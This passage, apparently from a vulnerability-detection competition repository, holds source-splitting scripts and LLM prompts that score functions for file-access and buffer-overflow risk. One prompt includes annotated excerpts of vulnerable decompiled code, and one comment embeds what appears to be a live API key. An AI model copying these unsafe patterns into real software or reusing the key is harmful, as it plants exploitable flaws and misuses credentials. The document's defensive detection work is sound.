for i, function in enumerate(functions):\r\n        output_file = os.path.join(output_dir, f\"{file_name}_function_{i + 1}.txt\")\r\n        with open(output_file, 'w', encoding='utf-8') as file:\r\n            file.write(function)\r\n\r\n\r\ndef process_c_files(input_dir):\r\n    \"\"\"\r\n    Process all C files in the specified directory.\r\n    :param input_dir: Path to the input directory\r\n    \"\"\"\r\n    functions = []\r\n    for root, _, files in os.walk(input_dir):\r\n        for file in files:\r\n            if file.endswith('.c') or file.endswith('.cpp') or file.endswith('.h'):\r\n                file_path = os.path.join(root, file)\r\n                file_name = os.path.splitext(file)[0]\r\n                output_dir = input_dir+f\"\\{file_name}_result\"\r\n\r\n                print(f\"Processing file: {file_path}\")\r\n                functions += extract_c_functions_with_stack(file_path)\r\n    return functions\r\n\r\n"
  },
  {
    "path": "task2_source_code/final_version/Splitting_function_CC.py",
    "content": "import os\r\nimport re\r\n\r\n\r\ndef extract_c_functions_with_stack(file_path):\r\n    \"\"\"\r\n    Extract all functions from a C/C++ file using a stack-based approach to ensure complete function bodies.\r\n    :param file_path: Path to the C/C++ file\r\n    :return: A list of all function code blocks\r\n    \"\"\"\r\n    with open(file_path, 'r', encoding='utf-8') as file:\r\n        lines = file.readlines()\r\n\r\n    functions = []\r\n    stack = []\r\n    current_function = []\r\n    inside_function = False\r\n    signature_detected = False\r\n\r\n    for line in lines:\r\n        stripped_line = line.strip()\r\n\r\n        # Detect potential function signature\r\n        if not inside_function and re.match(r\"^[\\w\\s\\*\\&]+[\\w\\*]+\\s*\\([^)]*\\)\\s*\\{?$\", stripped_line):\r\n            signature_detected = True\r\n            inside_function = True\r\n            current_function.append(line)\r\n\r\n        elif inside_function:\r\n            current_function.append(line)\r\n\r\n            # Track opening and closing braces using a stack\r\n            for char in stripped_line:\r\n                if char == \"{\":\r\n                    stack.append(\"{\")\r\n                elif char == \"}\":\r\n                    if stack:\r\n                        stack.pop()\r\n\r\n            # If the stack is empty, the function is complete\r\n            if not stack:\r\n                functions.append(\"\".join(current_function))\r\n                current_function = []\r\n                inside_function = False\r\n                signature_detected = False\r\n\r\n        elif signature_detected:\r\n            # Handle multi-line function signature\r\n            current_function.append(line)\r\n            if \"{\" in stripped_line:\r\n                inside_function = True\r\n                for char in stripped_line:\r\n                    if char == \"{\":\r\n                        stack.append(\"{\")\r\n                    elif char == \"}\":\r\n                        if stack:\r\n                            stack.pop()\r\n\r\n    return functions\r\n\r\n\r\ndef save_functions_to_files(functions, file_name, output_dir):\r\n    \"\"\"\r\n    Save extracted functions to individual txt files.\r\n    :param functions: List of extracted functions\r\n    :param file_name: Original file name (without path)\r\n    :param output_dir: Path to the output directory\r\n    \"\"\"\r\n    if not os.path.exists(output_dir):\r\n        os.makedirs(output_dir)\r\n\r\n    for i, function in enumerate(functions):\r\n        output_file = os.path.join(output_dir, f\"{file_name}_function_{i + 1}.txt\")\r\n        with open(output_file, 'w', encoding='utf-8') as file:\r\n            file.write(function)\r\n\r\n\r\ndef process_c_files(input_dir):\r\n    \"\"\"\r\n    Process all C files in the specified directory.\r\n    :param input_dir: Path to the input directory\r\n    \"\"\"\r\n    functions=[]\r\n    for root, _, files in os.walk(input_dir):\r\n        for file in files:\r\n            if file.endswith('.c') or file.endswith('.cpp') or file.endswith('.h') or file.endswith('.cc'):\r\n                file_path = os.path.join(root, file)\r\n                file_name = os.path.splitext(file)[0]\r\n                output_dir = input_dir+f\"\\{file_name}_result\"\r\n\r\n                print(f\"Processing file: {file_path}\")\r\n                functions += extract_c_functions_with_stack(file_path)\r\n                if functions:\r\n                    #save_functions_to_files(functions, file_name, output_dir)\r\n                    print(f\"Processing complete. Functions saved in: {output_dir}\")\r\n                else:\r\n                    print(f\"No functions found in file: {file_path}\")\r\n\r\n    return functions"
  },
  {
    "path": "task2_source_code/final_version/Splitting_function_go.py",
    "content": "import os\r\nimport re\r\n\r\ndef extract_functions_with_receivers(input_directory):\r\n    out_funtions=[]\r\n    # 获取指定目录下的所有 .go 文件\r\n    go_files = [f for f in os.listdir(input_directory) if f.endswith('.go')]\r\n    \r\n    for go_file in go_files:\r\n        # 获取当前文件路径和文件名\r\n        file_path = os.path.join(input_directory, go_file)\r\n        file_name, _ = os.path.splitext(go_file)\r\n        output_directory = os.path.join(input_directory, f\"{file_name}_result\")\r\n        \r\n        # 创建结果存储文件夹\r\n        os.makedirs(output_directory, exist_ok=True)\r\n        \r\n        with open(file_path, 'r', encoding='utf-8') as file:\r\n            lines = file.readlines()\r\n        \r\n        # 初始化变量\r\n        functions = []\r\n        current_function = []\r\n        stack = []  # 用于跟踪大括号的堆栈\r\n        inside_function = False\r\n        \r\n        # 改进后的正则表达式，支持接收器和多行定义\r\n        func_start_pattern = re.compile(r'^func\\s+(\\(\\w+\\s+\\*?\\w+\\)\\s+)?\\w+\\(.*\\)\\s*{?')\r\n        \r\n        for line in lines:\r\n            if not inside_function:\r\n                # 检测函数定义的起始\r\n                match = func_start_pattern.match(line)\r\n                if match:\r\n                    inside_function = True\r\n                    current_function.append(line)\r\n                    \r\n                    # 检查是否有未闭合的 `{`，如果有则记录\r\n                    if '{' in line and '}' not in line:\r\n                        stack.append('{')\r\n            else:\r\n                # 当前在函数体内，累积函数内容\r\n                current_function.append(line)\r\n                \r\n                # 检查大括号，更新堆栈状态\r\n                for char in line:\r\n                    if char == '{':\r\n                        stack.append('{')\r\n                    elif char == '}':\r\n                        if stack:\r\n                            stack.pop()\r\n                \r\n                # 如果堆栈为空，函数结束\r\n                if not stack:\r\n                    functions.append(\"\".join(current_function))\r\n                    current_function = []\r\n                    inside_function = False\r\n        \r\n        out_funtions+=functions\r\n    return out_funtions\r\n"
  },
  {
    "path": "task2_source_code/final_version/Splitting_function_java.py",
    "content": "import os\r\n\r\n\r\ndef extract_java_functions_with_stack(file_path):\r\n    \"\"\"\r\n    Extract all functions from a Java file using a stack-based approach to ensure complete function bodies.\r\n    :param file_path: Path to the Java file\r\n    :return: A list of all function code blocks\r\n    \"\"\"\r\n    with open(file_path, 'r', encoding='utf-8') as file:\r\n        lines = file.readlines()\r\n\r\n    functions = []\r\n    stack = []\r\n    current_function = []\r\n    inside_function = False\r\n\r\n    for line in lines:\r\n        stripped_line = line.strip()\r\n\r\n        # Check for potential function signature\r\n        if not inside_function and (\"{\" in stripped_line or \"(\" in stripped_line) and \")\" in stripped_line:\r\n            # Basic heuristic for identifying function signatures\r\n            if any(keyword in stripped_line for keyword in [\"public\", \"private\", \"protected\", \"void\", \"int\", \"String\"]):\r\n                inside_function = True\r\n\r\n        if inside_function:\r\n            current_function.append(line)\r\n\r\n            # Track opening and closing braces using a stack\r\n            for char in stripped_line:\r\n                if char == \"{\":\r\n                    stack.append(\"{\")\r\n                elif char == \"}\":\r\n                    if stack:\r\n                        stack.pop()\r\n\r\n            # If the stack is empty, the function is complete\r\n            if inside_function and not stack:\r\n                functions.append(\"\".join(current_function))\r\n                current_function = []\r\n                inside_function = False\r\n\r\n    return functions\r\n\r\n\r\ndef save_functions_to_files(functions, file_name, output_dir):\r\n    \"\"\"\r\n    Save extracted functions to individual txt files.\r\n    :param functions: List of extracted functions\r\n    :param file_name: Original file name (without path)\r\n    :param output_dir: Path to the output directory\r\n    \"\"\"\r\n    if not os.path.exists(output_dir):\r\n        os.makedirs(output_dir)\r\n\r\n    for i, function in enumerate(functions):\r\n        output_file = os.path.join(output_dir, f\"{file_name}_function_{i + 1}.txt\")\r\n        with open(output_file, 'w', encoding='utf-8') as file:\r\n            file.write(function)\r\n\r\n\r\ndef process_java_files(input_dir):\r\n    \"\"\"\r\n    Process all Java files in the specified directory.\r\n    :param input_dir: Path to the input directory\r\n    \"\"\"\r\n    functions=[]\r\n    for root, _, files in os.walk(input_dir):\r\n        for file in files:\r\n            if file.endswith('.java'):\r\n                file_path = os.path.join(root, file)\r\n                file_name = os.path.splitext(file)[0]\r\n                output_dir = input_dir+f\"\\{file_name}_result\"\r\n\r\n                print(f\"Processing file: {file_path}\")\r\n                functions += extract_java_functions_with_stack(file_path)\r\n    return functions\r\n\r\n\r\n"
  },
  {
    "path": "task2_source_code/final_version/Splitting_function_php.py",
    "content": "import os\r\nimport re\r\n\r\ndef extract_php_functions_with_context(file_path):\r\n    \"\"\"\r\n    使用栈从PHP文件中提取函数定义，支持类上下文信息\r\n    :param file_path: PHP文件路径\r\n    :return: 函数列表，每个元素是一个函数的完整定义\r\n    \"\"\"\r\n    functions = []\r\n    stack = []\r\n    current_function = []\r\n    inside_function = False\r\n    class_context = []\r\n\r\n    # 正则匹配\r\n    function_start_pattern = re.compile(r'^function\\s+\\w+\\s*\\(.*\\)\\s*{')\r\n    class_start_pattern = re.compile(r'^class\\s+\\w+\\s*{')\r\n\r\n    with open(file_path, 'r', encoding='utf-8') as f:\r\n        lines = f.readlines()\r\n\r\n    for line in lines:\r\n        stripped_line = line.strip()\r\n\r\n        # 检测类定义的起始\r\n        if class_start_pattern.search(stripped_line) and not inside_function:\r\n            class_context.append(line)\r\n            stack.append('{')\r\n            continue\r\n\r\n        # 检测函数定义的起始\r\n        if function_start_pattern.search(stripped_line):\r\n            # 如果当前已在记录函数，则先保存并结束\r\n            if current_function:\r\n                functions.append(''.join(class_context + current_function))\r\n                current_function = []\r\n\r\n            inside_function = True\r\n            current_function.append(line)  # 记录函数起始行\r\n            stack.append('{')  # 函数起始，压栈\r\n            continue\r\n\r\n        # 如果已进入函数定义，记录内容\r\n        if inside_function:\r\n            current_function.append(line)\r\n            # 检测大括号的开闭\r\n            for char in line:\r\n                if char == '{':\r\n                    stack.append('{')\r\n                elif char == '}':\r\n                    if stack:\r\n                        stack.pop()\r\n\r\n            # 栈为空时，函数结束\r\n            if not stack:\r\n                functions.append(''.join(class_context + current_function))\r\n                current_function = []\r\n                inside_function = False\r\n\r\n    # 处理文件末尾的残余函数\r\n    if current_function:\r\n        functions.append(''.join(class_context + current_function))\r\n\r\n    return functions\r\n\r\ndef save_functions_to_files(functions, result_dir):\r\n    \"\"\"\r\n    将函数列表保存为单独的txt文件\r\n    :param functions: 函数内容列表\r\n    :param result_dir: 保存目录路径\r\n    \"\"\"\r\n    if not os.path.exists(result_dir):\r\n        os.makedirs(result_dir)\r\n    \r\n    for idx, func in enumerate(functions):\r\n        file_name = os.path.join(result_dir, f'function_{idx + 1}.txt')\r\n        with open(file_name, 'w', encoding='utf-8') as f:\r\n            f.write(func)\r\n\r\ndef process_php_file(file_path):\r\n    \"\"\"\r\n    处理单个PHP文件，提取函数并保存\r\n    :param file_path: PHP文件路径\r\n    \"\"\"\r\n    result_dir = f\"{os.path.splitext(file_path)[0]}_result\"\r\n    \r\n    print(f\"Processing {file_path}...\")\r\n    try:\r\n        functions = extract_php_functions_with_context(file_path)\r\n        save_functions_to_files(functions, result_dir)\r\n        print(f\"Extracted {len(functions)} functions from {file_path}.\")\r\n    except Exception as e:\r\n        print(f\"Error processing {file_path}: {e}\")\r\n    return functions\r\n\r\ndef process_php_files_in_directory(directory):\r\n    \"\"\"\r\n    扫描指定目录下的所有PHP文件并处理\r\n    :param directory: 目录路径\r\n    \"\"\"\r\n    functions=[]\r\n    for root, _, files in os.walk(directory):\r\n        for file in files:\r\n            if file.endswith('.php'):\r\n                file_path = os.path.join(root, file)\r\n                functions+=process_php_file(file_path)\r\n    return functions\r\n"
  },
  {
    "path": "task2_source_code/final_version/Splitting_function_py.py",
    "content": "import os\r\nimport ast\r\n\r\ndef extract_functions_from_file(file_path):\r\n    \"\"\"\r\n    Extract all functions from a single Python file and return a dictionary.\r\n    Keys are function names, and values are the full code of the functions.\r\n    \"\"\"\r\n    print(f\"[DEBUG] Attempting to read file: {file_path}\")\r\n    with open(file_path, 'r', encoding='utf-8') as file:\r\n        file_content = file.read()\r\n\r\n    try:\r\n        # Parse Python code using the AST module\r\n        tree = ast.parse(file_content)\r\n        print(f\"[DEBUG] Successfully parsed file: {file_path}\")\r\n    except SyntaxError as e:\r\n        print(f\"[ERROR] Syntax error in file: {file_path} - {e}\")\r\n        return {}\r\n\r\n    functions = {}\r\n    for node in ast.walk(tree):\r\n        if isinstance(node, ast.FunctionDef):  # Find function definitions\r\n            func_name = node.name\r\n            func_code = ast.get_source_segment(file_content, node)\r\n            functions[func_name] = func_code\r\n            print(f\"[DEBUG] Extracted function: {func_name}\")\r\n\r\n    print(f\"[INFO] Total functions extracted from {file_path}: {len(functions)}\")\r\n    return functions\r\n\r\n\r\ndef save_functions_to_files(functions, output_dir):\r\n    \"\"\"\r\n    Save extracted functions as individual txt files.\r\n    \"\"\"\r\n    print(f\"[DEBUG] Preparing to save functions to directory: {output_dir}\")\r\n    if not os.path.exists(output_dir):\r\n        os.makedirs(output_dir)\r\n        print(f\"[DEBUG] Created output directory: {output_dir}\")\r\n\r\n    for idx, (func_name, func_code) in enumerate(functions.items(), start=1):\r\n        # Ensure unique filenames\r\n        sanitized_name = func_name.replace('<', '').replace('>', '').replace(':', '_')\r\n        output_file = os.path.join(output_dir, f\"{idx}_{sanitized_name}.txt\")\r\n        try:\r\n            with open(output_file, 'w', encoding='utf-8') as file:\r\n                file.write(func_code)\r\n            print(f\"[INFO] Saved function: {func_name} to {output_file}\")\r\n        except Exception as e:\r\n            print(f\"[ERROR] Failed to save function: {func_name} - {e}\")\r\n\r\n\r\ndef process_python(input_dir):\r\n    \"\"\"\r\n    Traverse all Python files in the directory and extract functions.\r\n    \"\"\"\r\n    print(f\"[DEBUG] Starting directory traversal: {input_dir}\")\r\n    if not os.path.isdir(input_dir):\r\n        print(f\"[ERROR] Invalid directory: {input_dir}\")\r\n        return\r\n    functions = []\r\n    for root, _, files in os.walk(input_dir):\r\n        for file_name in files:\r\n            if file_name.endswith('.py'):\r\n                file_path = os.path.join(root, file_name)\r\n                print(f\"[INFO] Processing file: {file_path}\")\r\n\r\n                # Extract functions\r\n                functions += extract_functions_from_file(file_path)\r\n    return functions\r\n\r\n\r\n"
  },
  {
    "path": "task2_source_code/final_version/Splitting_jsp.py",
    "content": "import os\r\n\r\ndef split_jsp_files(directory, max_chars=14000):\r\n    functions=[]\r\n    \"\"\"\r\n    Splits .jsp files in the specified directory into smaller files of up to `max_chars` characters.\r\n    \r\n    Args:\r\n        directory (str): The path of the directory containing .jsp files.\r\n        max_chars (int): Maximum number of characters in each split file.\r\n    \"\"\"\r\n    # Ensure the provided directory exists\r\n    if not os.path.isdir(directory):\r\n        print(f\"Error: The directory '{directory}' does not exist.\")\r\n        return\r\n    \r\n    # Get all .jsp files in the directory\r\n    jsp_files = [f for f in os.listdir(directory) if f.endswith('.jsp')]\r\n    if not jsp_files:\r\n        print(f\"No .jsp files found in the directory: {directory}\")\r\n        return\r\n\r\n    # Process each .jsp file\r\n    for jsp_file in jsp_files:\r\n        filepath = os.path.join(directory, jsp_file)\r\n        with open(filepath, 'r', encoding='utf-8') as file:\r\n            content = file.read()\r\n        \r\n        # Split content into chunks\r\n        chunks = [content[i:i+max_chars] for i in range(0, len(content), max_chars)]\r\n        \r\n        # Create a result directory for the split files\r\n        result_dir = os.path.join(directory, f\"{jsp_file}_result\")\r\n        os.makedirs(result_dir, exist_ok=True)\r\n        functions+=chunks\r\n    return functions"
  },
  {
    "path": "task2_source_code/final_version/arbitrary.py",
    "content": "#!/usr/local/bin/python3\r\nfrom langchain_openai import ChatOpenAI\r\nfrom langchain_core.messages import HumanMessage, SystemMessage\r\nfrom langchain.prompts import PromptTemplate,ChatPromptTemplate\r\nfrom langchain.chains import LLMChain, SimpleSequentialChain\r\n\r\nfrom langchain.prompts import (\r\n    ChatPromptTemplate,\r\n    PromptTemplate,\r\n    SystemMessagePromptTemplate,\r\n    AIMessagePromptTemplate,\r\n    HumanMessagePromptTemplate\r\n)\r\nfrom langchain.output_parsers import StructuredOutputParser, ResponseSchema\r\nfrom langchain.schema import (\r\n    AIMessage,\r\n    HumanMessage,\r\n    SystemMessage\r\n)\r\nimport re\r\nSystemPrompt = PromptTemplate(\r\n    template=\"You are a cybersecurity engineer, and your task is to analyze the provided code snippet and the potential vulnerability types to identify the function in the given code where the vulnerability is most likely to occur.\",\r\n)\r\n\r\n\r\nHumanPromptStep2 = PromptTemplate(\r\n    template=\"\"\"\r\n\t\tUser question:Please analyze the provided specific code of a series of functions to determine if any of these functions contain potential Arbitrary File Access vulnerabilities ,Your analysis must consider:\r\n\t\tUser Input Flow: Analyze how user input flows into file operations like open(). Look for cases where input affects the file path.\r\n\t\tSanitization: Check if user input is validated for malicious patterns like ../../, symbolic links, or special characters.\r\n\t\tFile Access Permissions: Ensure file operations check proper permissions before allowing \r\n\t\r\n                <context>\r\n                {code_context}\r\n                </context>\r\n                answer user's question with the information in <context>\r\n                output format: {format_instructions}\r\n                an example of output is:curly_brace\"functions\": [curly_brace \"name\": \"daemonCheck\",\"confidence\": 10 end_curly_brace,curly_brace \"name\": \"daemonControl\",\"confidence\": 30 end_curly_brace] end_curly_brace\r\n\r\n                Let's analyze each function step by step based on the code I provide. We will consider each function independently and, based on the analysis criteria I give, assign a confidence score to each function.:\r\n                1.Determine whether there is File I/O Functions like open(), fopen(), read(), write(), fseek() etc. if exists, add 10 points to the confidence level\r\n                2.Consider Path Traversal: Add 20 points for any file I/O functions that directly handle user-controlled file paths.\r\n                3.Consider Unsafe Path Handling: Add 20 points for any cases where user input is concatenated into file paths.\r\n                4.Consider Lack of Permissions Check: Add 20 points for failure to check file access permissions.\r\n            \"\"\",\r\n    input_variables=[\"code_context\"]\r\n)\r\n\r\nresponse_schemas_step2 = [\r\n    ResponseSchema(name=\"functions\", description=\"a list of function names with their respective confidence levels\")\r\n\r\n]\r\n\r\nlength_limit=14000\r\n\r\ndef check_output_regex(output):\r\n    pattern = r\"maximum context length is 8000 tokens\"\r\n    if re.search(pattern, output):\r\n        return 1\r\n    else:\r\n        return 0\r\n\r\ndef llm_api_step2(prompt_code, key_env, base_env):\r\n    global length_limit\r\n    llm = ChatOpenAI(\r\n        streaming=True,\r\n        verbose=True,\r\n        # key和base开赛后提供\r\n        openai_api_key=key_env,\r\n        openai_api_base=base_env,\r\n        model_name='tq-gpt',\r\n        timeout=300\r\n    )\r\n    if len(prompt_code)>length_limit:\r\n        prompt_code = prompt_code[:length_limit]\r\n    # create HumanMessagePromptTemplate\r\n    HumanMessagePrompt = HumanMessagePromptTemplate(prompt=HumanPromptStep2)\r\n    SystemMessagePrompt = SystemMessagePromptTemplate(prompt=SystemPrompt)\r\n    # conbine Prompt\r\n    chat_template = ChatPromptTemplate.from_messages([SystemMessagePrompt,HumanMessagePrompt])\r\n\r\n    output_parser = StructuredOutputParser.from_response_schemas(response_schemas_step2)\r\n\r\n    format_instructions = output_parser.get_format_instructions()\r\n    #prompt = split_prompt(prompt, 6000)\r\n\r\n    chain=LLMChain(llm=llm, prompt=chat_template)\r\n    try:\r\n        output = chain.run(code_context=prompt_code,format_instructions=format_instructions)\r\n        #print(output)\r\n        json_out=output_parser.parse(output)\r\n        # AI may regard a content to be None not NULL\r\n        # Change later\r\n        for i in range(10):\r\n            if json_out[\"functions\"]:\r\n                break\r\n            output = chain.run(code_context=prompt_code,format_instructions=format_instructions)\r\n            #print(output)\r\n            json_out=output_parser.parse(output)\r\n        return json_out\r\n    except Exception as e:\r\n        print(f\"Request timed out. {e}\")\r\n        if check_output_regex(str(e)) == 1:\r\n            length_limit = length_limit - 2000\r\n        return None\r\n    \r\ndef check_arbitrary(prompt_code, key_env, base_env):\r\n    global length_limit\r\n    length_limit = 14000\r\n    json_out=llm_api_step2(prompt_code, key_env, base_env)\r\n    for i in range(50):\r\n        if json_out is not None:\r\n            break\r\n        json_out=llm_api_step2(prompt_code, key_env, base_env)\r\n    return json_out\r\n\r\n# check by yourself\r\n#filepath='a'\r\n#with open(file_path, encoding='utf-8') as file:\r\n#    file_content = file.read()\r\n#json_out=check_arbitrary(file_content, \"8bb73128d0b5732a1e0723f922245df8\", 'https://poc.qianxin.com')\r\n"
  },
  {
    "path": "task2_source_code/final_version/bof_memory.py",
    "content": "#!/usr/local/bin/python3\r\nfrom langchain_openai import ChatOpenAI\r\nfrom langchain_core.messages import HumanMessage, SystemMessage\r\nfrom langchain.prompts import PromptTemplate,ChatPromptTemplate\r\nfrom langchain.chains import LLMChain, SimpleSequentialChain\r\n\r\nfrom langchain.prompts import (\r\n    ChatPromptTemplate,\r\n    PromptTemplate,\r\n    SystemMessagePromptTemplate,\r\n    AIMessagePromptTemplate,\r\n    HumanMessagePromptTemplate\r\n)\r\nfrom langchain.output_parsers import StructuredOutputParser, ResponseSchema\r\nfrom langchain.schema import (\r\n    AIMessage,\r\n    HumanMessage,\r\n    SystemMessage\r\n)\r\nfrom langchain.memory import ConversationSummaryMemory \r\nimport re\r\nSystemPrompt = PromptTemplate(\r\n    template=\"You are a cybersecurity engineer, you know both English and Chinese, and you are an expert in static code analysis and can fully understand dataflow and definitions of common used functions in decompiled pseudocode, C, C++, java, python, go, js, and other similar languages.\",\r\n)\r\n\r\nhigh_risky_functions=\"strcpy;strcat;sprintf;gets;scanf;sscanf;fscanf;vscanf;malloc;calloc;realloc;bcopy;fmt.Scanln;fmt.Fscanf;fmt.Scan;unsafe.Pointer\"\r\nlow_risky_functions=\"strncpy;strncat;snprintf;fgets;memcpy;memmove;memset;bytes.Buffer.WriteString\"\r\nHumanPromptStep2 = PromptTemplate(\r\n    template=\"\"\"\r\n\t\tUser question:We will first provide you several examples starting with ###Examples### . Every example in it contains a buffer overflow vulnerability. You need to summary the reason why they are considered vulnerable.\r\n    The Chinese explainations and function names in the examples are very important and do not lose information in it while summarizing.\r\n    The history of our previous conversation will be saved in {history}.\r\n    At last, If we give you some content starting with a symbol ###New Content###, we are giving you several new functions that may contain similar buffer overflow vulnerabilities.\r\n    In that case, you should analyse each function independently and output a most vulnerable function. You should first repeat the previous history information word by word, and then use confidence(0-100) to measure how vulnerable each function is, only one function should have the highest confidence.\r\n    If the new content mentioned a function who have exactly the same name with one example function,that example function should have the highest confidence, and confidence of all other functions should be 0.\r\n    If all functions in ###New Content### are not vulnerable, their confidence should all be 0.\r\n    The content given to use are in <content>, the content is either a example(only need to summary) or a new content(need to output confidence of each function and previous history), it won't contain both types\r\n    <context>\r\n    {code_context}\r\n    </context>\r\n    output format: a legal json file such as {{\"functions\": [{{\"name\": \"checkLoginUser\",\"confidence\": 0}},{{\"name\": \"aaa\",\"confidence\": 10}}],\"summary\":\"contains strcpy\"}} and some additional information such as previous history.\r\n            \"\"\",\r\n    input_variables=[\"code_context\"]\r\n)\r\n\r\nexamples=\"\"\"\r\n示例1：在parse_object这个函数中，解析key的时候发生了溢出\r\n_isoc99_sscanf(key, \"%s %s\", v9, v10);      // stack-based buffer overflow\r\n\r\n示例2：在`do_SOCKS5` 函数中，memcpy的长度限制参数tlen由源缓冲区cp决定，因此源缓冲区很大时也可不受限制地拷贝入目标缓冲区，导致溢出\r\n```c\r\nstatic CURLproxycode do_SOCKS5(struct Curl_cfilter *cf,\r\n                               struct socks_state *sx,\r\n                               struct Curl_easy *data)\r\n......\r\n            if ( cp )\r\n            {\r\n              tlen = tlen[4];\r\n              v64 = 1;\r\n              opt = 0;\r\n              while ( tlen )\r\n              {\r\n                if ( optlen < tlen )\r\n                  break;\r\n                memcpy(&v65[opt], cp + v64, tlen);\r\n                v15 = &tlen[v64];\r\n                if ( &tlen[v64] >= optlen )\r\n                  break;\r\n                v16 = &tlen[opt];\r\n                v64 = (v15 + 1);\r\n                tlen = v15[cp];//tlen is from  v15[cp]\r\n                opt = (v16 + 1);\r\n                v16[v65] = 46;\r\n              }\r\n            }\r\n          }\r\n        }\r\n\r\n```\r\n\r\n示例3：sub_408B70有直接溢出风险，sub_40DAC8中没有。\r\n在 `sub_408B70` 函数中\r\n\r\n```C\r\n if ( !a2 || a3 < *(_DWORD *)(a1[43] + 236) )\r\n    return -1;\r\n  memset(a2, 0, a3);\r\n  v5 = (_DWORD *)a1[43];\r\n  v6 = v5[3];\r\n  v7 = v5[2] - v6;\r\n  memcpy(a2, (const void *)(*v5 + v6), v7);\r\n  result = v7;\r\n\r\n```\r\n\r\n使用 `a1[43][2] - a1[43][3]` 作为长度拷贝数据到缓冲区 a2 中，a2 在函数 `sub_40DAC8` 中分配\r\n\r\n```C\r\n  v7 = (_DWORD *)a1[43];\r\n  ...\r\n      v46 = (char *)j_malloc(v7[59] + 1);\r\n      v47 = v46;\r\n      if ( !v46 )\r\n      {\r\n        v48 = getpid();\r\n        printf(\"[HTTPD (%d)]:: \", v48);\r\n        printf(\r\n          \"::%.80s line::%d::%d::Cannot allocate memory for read_post_param (len=%d)\\n\",\r\n          \"do_ccp\",\r\n          344,\r\n          *(_DWORD *)(a1[43] + 236) + 1);\r\nLABEL_82:\r\n        if ( v5 )\r\n          e_free(v5);\r\n        return 1;\r\n      }\r\n      if ( (sub_408B70(a1, v46, *(_DWORD *)(a1[43] + 236) + 1) & 0x80000000) != 0 )\r\n```\r\n\r\n然而分配的大小是 `a1[43][59] + 1`，这里存在的不一致会导致缓冲区溢出。\r\n\r\n事实上 `a1[43][59] + 1` 是 Content-Length 指定的大小，`a1[43][2] - a1[43][3]` 是实际读到的 body 大小。\r\n\r\n示例4：\r\n在`sub_2A28` 函数中\r\n\r\n```C\r\n  size_t v2; // r0\r\n  char v5[2048]; // [sp+10h] [bp-101Ch] BYREF\r\n  char v6[2048]; // [sp+810h] [bp-81Ch] BYREF\r\n  size_t n; // [sp+1010h] [bp-1Ch]\r\n  char *s; // [sp+1014h] [bp-18h]\r\n\r\n  memset(v6, 0, sizeof(v6));\r\n  memset(v5, 0, sizeof(v5));\r\n  s = strchr(**(const char ***)(a2 + 264), 63);\r\n  if ( s )\r\n  {\r\n    v2 = strlen(s);\r\n    buffer_copy_string_len(*(_DWORD *)(a2 + 708), s + 1, v2 - 1);\r\n    n = (size_t)&s[-**(_DWORD **)(a2 + 264)];\r\n    strncpy(v5, **(const char ***)(a2 + 264), n);\r\n  }\r\n```\r\n先取出a2+264（也就是uri）中\"?\"后面的字符串，然后拼接到v5中，strncpy的长度限制参数n来自于源缓冲区长度 (size_t)&s[-**(_DWORD **)(a2 + 264)]，限制不生效，v5的长度固定为2048 byte，会造成溢出\r\n\r\n示例5：\r\n在`sub_41D354` 函数中\r\n\r\n```C\r\n        else if ( !strcmp(v25, \"cookie\") )\r\n        {\r\n          v11 = 0;\r\n          v35 = 0;\r\n          a1[62] |= 8u;\r\n          a1[54] = sub_4036C4(v24);\r\n          memset(&unk_589AF8, 0, 500);\r\n          v5 = strlen(a1[54]);\r\n          memcpy((int)&unk_589AF8, a1[54], v5);\r\n          if ( !strcmp(&unk_589AF8, \"uid=\") )\r\n\r\n```\r\n\r\nmemcpy 的长度参数v5直接来源于源缓冲区的长度strlen(a1[54])，因此源缓冲区很大时也可不受限制地拷贝入目标缓冲区，造成溢出\r\n\r\n示例6：NpTranslateContainerLocalAlias函数中，堆分配函数的长度参数被转换为unsigned，可以整数溢出得到很大的值，这种转换成unsigned的值作为缓冲区分配或拷贝函数的长度参数时很容易溢出\r\nv22 = (unsigned __int16)(v19 + v21); // 整数溢出\r\n  v27.MaximumLength = v22;\r\n  Pool2 = (WCHAR *)ExAllocatePool2(256i64, v22, 1850110030i64);// 堆溢出\r\n\r\n示例7：\r\n在 `ej_get_web_page_name` 函数中\r\n\r\n```C\r\n  char v8[48]; // [sp+18h] [-3Ch] BYREF\r\n  ... ...\r\n    else\r\n    {\r\n      memset(v8, 0, sizeof(v8));\r\n      cgi = (const char *)get_cgi(\"submit_button\");\r\n      if ( !cgi )\r\n        cgi = \"index\";\r\n      sprintf(v8, \"%s\", cgi);\r\n      if ( !strcasecmp(v8, \"SSG\") )\r\n      {\r\n        v5 = wfprintf(a2, \"hset.htm\");\r\n        goto LABEL_6;\r\n      }\r\n      v3 = v8;\r\n```\r\n\r\n这一段代码可以将任意长度的字符串写入 v8，导致缓冲区溢出。\r\n\r\n示例8：Dot11Translate80211ToEthernetNdisPacket函数可能存在整数溢出导致的缓冲区溢出问题\r\n\r\n示例9：\r\n在`connection_state_machine` 函数中\r\n\r\n```C\r\n    strcpy(needle, \"asus_token\");\r\n    memset(&needle[11], 0, 0x15u);\r\n    element = array_get_element(a2[76], \"Cookie\");\r\n    if ( element )\r\n    {\r\n        v20 = buffer_init();\r\n        buffer_copy_string_len(v20, **(_DWORD **)(element + 32), *(_DWORD *)(*(_DWORD *)(element + 32) + 4));\r\n        buffer_urldecode_path(v20);\r\n        memset(v14, 0, sizeof(v14));\r\n        strncpy(v14, *(const char **)v20, *(_DWORD *)(v20 + 4));\r\n        buffer_free(v20);\r\n        haystack = v14;\r\n        while ( 1 )\r\n        {\r\n        haystack = strstr(haystack, needle);\r\n        if ( !haystack )\r\n\r\n```\r\n先获取cookie的值，`buffer_init()`会固定申请0xC的空间，然后直接使用stncpy拼接cookie的值，长度限制参数 *(_DWORD *)(v20 + 4)是变量而非常量，造成栈溢出\r\n\r\n示例10：\r\n\r\n在 `getSafariVersion` 函数中\r\n\r\n```C\r\n  char dest[44]; // [esp+10h] [ebp-3Ch] BYREF\r\n\r\n  v4 = 0;\r\n  if ( strstr(a1, \"Safari\") && !strstr(a1, \"Chrome\") )\r\n  {\r\n    v6 = strstr(a1, \"Version/\") + 8;\r\n    v7 = strchr(v6, ' ');\r\n    if ( v7 )\r\n    {\r\n      for ( i = 0; i < 0x20; i += 4 )\r\n        *(_DWORD *)&dest[i] = 0;\r\n      memcpy(dest, v6, v7 - v6);\r\n```\r\n\r\n这一段函数会将 UA 中 \"Version/\" 后直到空格之间的内容都复制到栈缓冲区上，且长度限制v7 - v6为变量而非常量，容易失效。由于该缓冲区长度只有 44 字节，因此存在溢出。\r\n\"\"\"\r\nresponse_schemas_step2 = [\r\n    